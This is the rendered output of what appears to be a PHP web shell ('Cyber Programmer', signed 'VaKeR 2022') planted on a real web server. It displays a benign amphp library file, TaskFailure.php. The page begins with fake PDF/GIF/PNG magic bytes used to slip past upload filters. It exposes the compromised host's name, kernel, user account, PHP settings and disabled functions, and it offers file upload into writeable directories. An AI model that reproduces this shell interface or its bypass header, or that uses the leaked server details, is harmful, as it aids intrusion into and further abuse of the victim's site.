%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/admin1/vendor/amphp/parallel/lib/Worker/Internal/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/admin1/vendor/amphp/parallel/lib/Worker/Internal/TaskFailure.php
<?php

namespace Amp\Parallel\Worker\Internal;

use Amp\Failure;
use Amp\Parallel\Sync;
use Amp\Parallel\Worker\TaskFailureError;
use Amp\Parallel\Worker\TaskFailureException;
use Amp\Parallel\Worker\TaskFailureThrowable;
use Amp\Promise;

/** @internal */
final class TaskFailure extends TaskResult
{
    const PARENT_EXCEPTION = 0;
    const PARENT_ERROR = 1;

    /** @var string */
    private $type;

    /** @var int */
    private $parent;

    /** @var string */
    private $message;

    /** @var int|string */
    private $code;

    /** @var string[] */
    private $trace;

    /** @var self|null */
    private $previous;

    public function __construct(string $id, \Throwable $exception)
    {
        parent::__construct($id);
        $this->type = \get_class($exception);
        $this->parent = $exception instanceof \Error ? self::PARENT_ERROR : self::PARENT_EXCEPTION;
        $this->message = $exception->getMessage();
        $this->code = $exception->getCode();
        $this->trace = Sync\flattenThrowableBacktrace($exception);

        if ($previous = $exception->getPrevious()) {
            $this->previous = new self($id, $previous);
        }
    }

    public function promise(): Promise
    {
        return new Failure($this->createException());
    }

    private function createException(): TaskFailureThrowable
    {
        $previous = $this->previous ? $this->previous->createException() : null;

        if ($this->parent === self::PARENT_ERROR) {
            return new TaskFailureError($this->type, $this->message, $this->code, $this->trace, $previous);
        }

        return new TaskFailureException($this->type, $this->message, $this->code, $this->trace, $previous);
    }
}

VaKeR 2022